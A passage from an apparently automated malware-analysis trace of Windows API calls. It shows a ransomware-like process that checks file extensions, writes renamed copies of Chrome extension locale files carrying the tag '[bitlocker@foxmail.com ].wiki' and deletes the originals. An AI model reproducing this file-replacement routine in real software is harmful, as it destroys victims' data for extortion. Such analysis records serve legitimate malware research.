(lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.431] lstrlenW (lpString=".doc") returned 4 [0172.431] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.431] lstrlenW (lpString=".docx") returned 5 [0172.431] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.431] lstrlenW (lpString=".pdf") returned 4 [0172.431] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.431] lstrlenW (lpString=".xls") returned 4 [0172.431] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.431] lstrlenW (lpString=".xlsx") returned 5 [0172.431] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.431] lstrlenW (lpString=".ppt") returned 4 [0172.431] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.431] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.431] lstrlenW (lpString=".zip") returned 4 [0172.431] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.431] lstrlenW (lpString=".rar") returned 4 [0172.431] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.431] lstrlenW (lpString=".bz2") returned 4 [0172.431] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.431] lstrlenW (lpString=".7z") returned 3 [0172.431] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.432] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.432] lstrlenW (lpString=".dbf") returned 4 [0172.432] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.432] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.432] lstrlenW (lpString=".1cd") returned 4 [0172.432] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.432] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 151 [0172.432] lstrlenW (lpString=".jpg") returned 4 [0172.432] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.432] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.432] lstrlenW (lpString="messages.json") returned 13 [0172.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.435] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=260) returned 1 [0172.435] CloseHandle (hObject=0x1a0) returned 1 [0172.435] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json")) returned 0x2020 [0172.435] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.435] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.435] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.435] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.436] GetLastError () returned 0x0 [0172.436] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x104, lpOverlapped=0x0) returned 1 [0172.437] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0172.438] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.438] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.438] SetEndOfFile (hFile=0x19c) returned 1 [0172.438] CloseHandle (hObject=0x19c) returned 1 [0172.438] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.438] SetEndOfFile (hFile=0x1a0) returned 1 [0172.439] CloseHandle (hObject=0x1a0) returned 1 [0172.439] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.440] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json")) returned 1 [0172.440] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.440] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.440] lstrlenW (lpString=".doc") returned 4 [0172.440] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.440] lstrlenW (lpString=".docx") returned 5 [0172.440] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.440] lstrlenW (lpString=".pdf") returned 4 [0172.440] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.440] lstrlenW (lpString=".xls") returned 4 [0172.440] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.440] lstrlenW (lpString=".xlsx") returned 5 [0172.440] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.440] lstrlenW (lpString=".ppt") returned 4 [0172.441] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.441] lstrlenW (lpString=".zip") returned 4 [0172.441] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.441] lstrlenW (lpString=".rar") returned 4 [0172.441] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.441] lstrlenW (lpString=".bz2") returned 4 [0172.441] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.441] lstrlenW (lpString=".7z") returned 3 [0172.441] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.441] lstrlenW (lpString=".dbf") returned 4 [0172.441] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.441] lstrlenW (lpString=".1cd") returned 4 [0172.441] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.441] lstrlenW (lpString=".jpg") returned 4 [0172.441] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.442] lstrlenW (lpString=".doc") returned 4 [0172.442] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.442] lstrlenW (lpString=".docx") returned 5 [0172.442] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.442] lstrlenW (lpString=".pdf") returned 4 [0172.442] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.442] lstrlenW (lpString=".xls") returned 4 [0172.442] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.442] lstrlenW (lpString=".xlsx") returned 5 [0172.442] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.442] lstrlenW (lpString=".ppt") returned 4 [0172.442] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.442] lstrlenW (lpString=".zip") returned 4 [0172.442] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.442] lstrlenW (lpString=".rar") returned 4 [0172.442] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.442] lstrlenW (lpString=".bz2") returned 4 [0172.442] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.442] lstrlenW (lpString=".7z") returned 3 [0172.442] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.442] lstrlenW (lpString=".dbf") returned 4 [0172.442] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.442] lstrlenW (lpString=".1cd") returned 4 [0172.442] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 151 [0172.442] lstrlenW (lpString=".jpg") returned 4 [0172.442] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.443] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.443] lstrlenW (lpString="messages.json") returned 13 [0172.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.443] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=226) returned 1 [0172.443] CloseHandle (hObject=0x1a0) returned 1 [0172.443] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json")) returned 0x2020 [0172.443] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.444] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.444] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.444] GetLastError () returned 0x0 [0172.444] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe2, lpOverlapped=0x0) returned 1 [0172.445] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.446] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.446] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.446] SetEndOfFile (hFile=0x19c) returned 1 [0172.446] CloseHandle (hObject=0x19c) returned 1 [0172.446] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.446] SetEndOfFile (hFile=0x1a0) returned 1 [0172.447] CloseHandle (hObject=0x1a0) returned 1 [0172.447] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.447] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json")) returned 1 [0172.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.448] lstrlenW (lpString=".doc") returned 4 [0172.448] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.448] lstrlenW (lpString=".docx") returned 5 [0172.448] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.448] lstrlenW (lpString=".pdf") returned 4 [0172.448] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.448] lstrlenW (lpString=".xls") returned 4 [0172.448] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.448] lstrlenW (lpString=".xlsx") returned 5 [0172.448] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.448] lstrlenW (lpString=".ppt") returned 4 [0172.448] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.448] lstrlenW (lpString=".zip") returned 4 [0172.448] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.448] lstrlenW (lpString=".rar") returned 4 [0172.448] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.448] lstrlenW (lpString=".bz2") returned 4 [0172.448] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.448] lstrlenW (lpString=".7z") returned 3 [0172.448] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.448] lstrlenW (lpString=".dbf") returned 4 [0172.448] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.448] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.449] lstrlenW (lpString=".1cd") returned 4 [0172.449] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.449] lstrlenW (lpString=".jpg") returned 4 [0172.449] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.449] lstrlenW (lpString=".doc") returned 4 [0172.449] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.449] lstrlenW (lpString=".docx") returned 5 [0172.449] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.449] lstrlenW (lpString=".pdf") returned 4 [0172.449] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.449] lstrlenW (lpString=".xls") returned 4 [0172.449] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.449] lstrlenW (lpString=".xlsx") returned 5 [0172.449] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.449] lstrlenW (lpString=".ppt") returned 4 [0172.449] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.449] lstrlenW (lpString=".zip") returned 4 [0172.449] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.449] lstrlenW (lpString=".rar") returned 4 [0172.449] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.449] lstrlenW (lpString=".bz2") returned 4 [0172.449] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.449] lstrlenW (lpString=".7z") returned 3 [0172.449] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.449] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.449] lstrlenW (lpString=".dbf") returned 4 [0172.449] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.450] lstrlenW (lpString=".1cd") returned 4 [0172.450] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json") returned 151 [0172.450] lstrlenW (lpString=".jpg") returned 4 [0172.450] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.450] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.450] lstrlenW (lpString="messages.json") returned 13 [0172.450] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.450] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=260) returned 1 [0172.450] CloseHandle (hObject=0x1a0) returned 1 [0172.450] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json")) returned 0x2020 [0172.451] GetFileAttributesW 